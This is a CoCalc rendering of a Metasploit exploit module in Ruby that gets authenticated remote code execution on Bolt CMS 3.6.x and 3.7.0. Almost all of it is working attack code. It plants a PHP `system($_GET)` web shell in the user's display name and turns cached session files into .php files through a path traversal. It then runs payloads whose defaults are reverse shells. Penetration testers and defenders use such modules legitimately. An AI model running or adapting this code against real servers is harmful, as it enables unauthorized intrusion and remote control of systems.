Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/bolt_authenticated_rce.rb
23598 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = GreatRanking
9
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
19
'Description' => %q{
20
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
21
and 3.6.* in order to execute arbitrary commands as the user running Bolt.
22
23
This module first takes advantage of a vulnerability that allows an
24
authenticated user to change the username in /bolt/profile to a PHP
25
`system($_GET[""])` variable. Next, the module obtains a list of tokens
26
from `/async/browse/cache/.sessions` and uses these to create files with
27
the blacklisted `.php` extention via HTTP POST requests to
28
`/async/folder/rename`. For each created file, the module checks the HTTP
29
response for evidence that the file can be used to execute arbitrary
30
commands via the created PHP $_GET variable. If the response is negative,
31
the file is deleted, otherwise the payload is executed via an HTTP
32
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`
33
34
Valid credentials for a Bolt CMS user are required. This module has been
35
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
36
},
37
'License' => MSF_LICENSE,
38
'Author' => [
39
'Sivanesh Ashok', # Discovery
40
'r3m0t3nu11', # PoC
41
'Erik Wynter' # @wyntererik - Metasploit
42
],
43
'References' => [
44
['CVE', '2025-34086'],
45
['EDB', '48296'],
46
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
47
],
48
'Platform' => ['linux', 'unix'],
49
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
50
'Targets' => [
51
[
52
'Linux (x86)', {
53
'Arch' => ARCH_X86,
54
'Platform' => 'linux',
55
'DefaultOptions' => {
56
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
57
}
58
}
59
],
60
[
61
'Linux (x64)', {
62
'Arch' => ARCH_X64,
63
'Platform' => 'linux',
64
'DefaultOptions' => {
65
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
66
}
67
}
68
],
69
[
70
'Linux (cmd)', {
71
'Arch' => ARCH_CMD,
72
'Platform' => 'unix',
73
'DefaultOptions' => {
74
'PAYLOAD' => 'cmd/unix/reverse_netcat'
75
}
76
}
77
]
78
],
79
'Privileged' => false,
80
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
81
'DefaultOptions' => {
82
'RPORT' => 8000,
83
'WfsDelay' => 5
84
},
85
'DefaultTarget' => 2,
86
'Notes' => {
87
'NOCVE' => ['0day'],
88
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
89
'Reliability' => [REPEATABLE_SESSION],
90
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
91
}
92
)
93
)
94
95
register_options [
96
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
97
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
98
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
99
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
100
]
101
end
102
103
def check
104
# obtain token and cookie required for login
105
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
106
107
return CheckCode::Unknown('Connection failed') unless res
108
109
unless res.code == 200 && res.body.include?('Sign in to Bolt')
110
return CheckCode::Safe('Target is not a Bolt CMS application.')
111
end
112
113
html = res.get_html_document
114
token = html.at('input[@id="user_login__token"]')['value']
115
cookie = res.get_cookies
116
117
# perform login
118
res = send_request_cgi({
119
'method' => 'POST',
120
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
121
'cookie' => cookie,
122
'vars_post' => {
123
'user_login[username]' => datastore['USERNAME'],
124
'user_login[password]' => datastore['PASSWORD'],
125
'user_login[login]' => '',
126
'user_login[_token]' => token
127
}
128
})
129
130
return CheckCode::Unknown('Connection failed') unless res
131
132
unless res.code == 302 && res.body.include?('Redirecting to /bolt')
133
return CheckCode::Unknown('Failed to authenticate to the server.')
134
end
135
136
@cookie = res.get_cookies
137
return unless @cookie
138
139
# visit profile page to obtain user_profile token and user email
140
res = send_request_cgi({
141
'method' => 'GET',
142
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
143
'cookie' => @cookie
144
})
145
146
return CheckCode::Unknown('Connection failed') unless res
147
148
unless res.code == 200 && res.body.include?('<title>Profile')
149
return CheckCode::Unknown('Failed to authenticate to the server.')
150
end
151
152
html = res.get_html_document
153
154
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
155
unless @email # create fake email if this value is not found
156
@email = Rex::Text.rand_text_alpha_lower(5..8)
157
@email << "@#{@email}."
158
@email << Rex::Text.rand_text_alpha_lower(2..3)
159
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
160
end
161
162
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
163
164
if !@profile_token || @profile_token.to_s.empty?
165
return CheckCode::Unknown('Authentication failure.')
166
end
167
168
# change user profile to a php $_GET variable
169
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
170
res = send_request_cgi({
171
'method' => 'POST',
172
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
173
'cookie' => @cookie,
174
'vars_post' => {
175
'user_profile[password][first]' => datastore['PASSWORD'],
176
'user_profile[password][second]' => datastore['PASSWORD'],
177
'user_profile[email]' => @email,
178
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
179
'user_profile[save]' => '',
180
'user_profile[_token]' => @profile_token
181
}
182
})
183
184
return CheckCode::Unknown('Connection failed') unless res
185
186
# visit profile page again to verify the changes
187
res = send_request_cgi({
188
'method' => 'GET',
189
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
190
'cookie' => @cookie
191
})
192
193
return CheckCode::Unknown('Connection failed') unless res
194
195
unless res.code == 200 && res.body.include?("php system($_GET[&#039;#{@php_var_name}&#039")
196
return CheckCode::Unknown('Authentication failure.')
197
end
198
199
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
200
end
201
202
def exploit
203
csrf
204
unless @csrf_token && !@csrf_token.empty?
205
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
206
end
207
vprint_status("Found CSRF token: #{@csrf_token}")
208
209
file_tokens = obtain_cache_tokens
210
unless file_tokens && !file_tokens.empty?
211
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
212
end
213
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
214
215
token_results = try_tokens(file_tokens)
216
unless token_results && !token_results.empty?
217
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
218
end
219
220
valid_token = token_results[0]
221
@rogue_file = token_results[1]
222
223
print_good("Used token #{valid_token} to create #{@rogue_file}.")
224
if target.arch.first == ARCH_CMD
225
execute_command(payload.encoded)
226
else
227
execute_cmdstager
228
end
229
end
230
231
def csrf
232
# visit /bolt/overview/showcases to get csrf token
233
res = send_request_cgi({
234
'method' => 'GET',
235
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
236
'cookie' => @cookie
237
})
238
239
fail_with Failure::Unreachable, 'Connection failed' unless res
240
241
unless res.code == 200 && res.body.include?('Showcases')
242
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
243
end
244
245
html = res.get_html_document
246
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
247
end
248
249
def obtain_cache_tokens
250
# obtain tokens for creating rogue .php files from cache
251
res = send_request_cgi({
252
'method' => 'GET',
253
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
254
'cookie' => @cookie
255
})
256
257
fail_with Failure::Unreachable, 'Connection failed' unless res
258
259
unless res.code == 200 && res.body.include?('entry disabled')
260
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
261
end
262
263
html = res.get_html_document
264
entries = html.search('tr')
265
tokens = []
266
entries.each do |e|
267
token = e.at('span[@class="entry disabled"]').text.strip
268
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
269
tokens.append(token) if size.to_i >= 2000
270
end
271
272
tokens
273
end
274
275
def try_tokens(file_tokens)
276
# create .php files and check if any of them can be used for RCE via the username $_GET variable
277
file_tokens.each do |token|
278
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
279
file_name = Rex::Text.rand_text_alpha_lower(8..12)
280
file_name << '.php'
281
282
# use token to create rogue .php file by 'renaming' a file from cache
283
res = send_request_cgi({
284
'method' => 'POST',
285
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
286
'cookie' => @cookie,
287
'vars_post' => {
288
'namespace' => 'root',
289
'parent' => '/app/cache/.sessions',
290
'oldname' => token,
291
'newname' => "#{file_path}/#{file_name}",
292
'token' => @csrf_token
293
}
294
})
295
296
fail_with Failure::Unreachable, 'Connection failed' unless res
297
298
next unless res.code == 200 && res.body.include?(file_name)
299
300
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
301
res = send_request_cgi({
302
'method' => 'GET',
303
'uri' => normalize_uri(target_uri.path, 'files', file_name),
304
'cookie' => @cookie
305
})
306
307
fail_with Failure::Unreachable, 'Connection failed' unless res
308
309
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
310
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
311
delete_file(file_name)
312
next
313
end
314
315
return token, file_name
316
end
317
318
nil
319
end
320
321
def execute_command(cmd, _opts = {})
322
if target.arch.first == ARCH_CMD
323
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
324
end
325
326
res = send_request_cgi({
327
'method' => 'GET',
328
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
329
'cookie' => @cookie,
330
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
331
}, 3.5)
332
333
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
334
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
335
print_warning('No response, may have executed a blocking payload!')
336
return
337
end
338
339
print_good('Payload executed!')
340
end
341
342
def cleanup
343
super
344
345
# delete rogue .php file used for execution (if present)
346
delete_file(@rogue_file) if @rogue_file
347
348
return unless @profile_token
349
350
# change user profile back to original
351
res = send_request_cgi({
352
'method' => 'POST',
353
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
354
'cookie' => @cookie,
355
'vars_post' => {
356
'user_profile[password][first]' => datastore['PASSWORD'],
357
'user_profile[password][second]' => datastore['PASSWORD'],
358
'user_profile[email]' => @email,
359
'user_profile[displayname]' => datastore['USERNAME'].to_s,
360
'user_profile[save]' => '',
361
'user_profile[_token]' => @profile_token
362
}
363
})
364
365
unless res
366
print_warning('Failed to revert user profile back to original state.')
367
return
368
end
369
370
# visit profile page again to verify the changes
371
res = send_request_cgi({
372
'method' => 'GET',
373
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
374
'cookie' => @cookie
375
})
376
377
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
378
print_warning('Failed to revert user profile back to original state.')
379
end
380
381
print_good('Reverted user profile back to original state.')
382
end
383
384
def delete_file(file_name)
385
res = send_request_cgi({
386
'method' => 'POST',
387
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
388
'cookie' => @cookie,
389
'vars_post' => {
390
'namespace' => 'files',
391
'filename' => file_name,
392
'token' => @csrf_token
393
}
394
})
395
396
unless res && res.code == 200 && res.body.include?(file_name)
397
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
398
end
399
400
print_good("Deleted file #{file_name}.")
401
end
402
403
end
404
405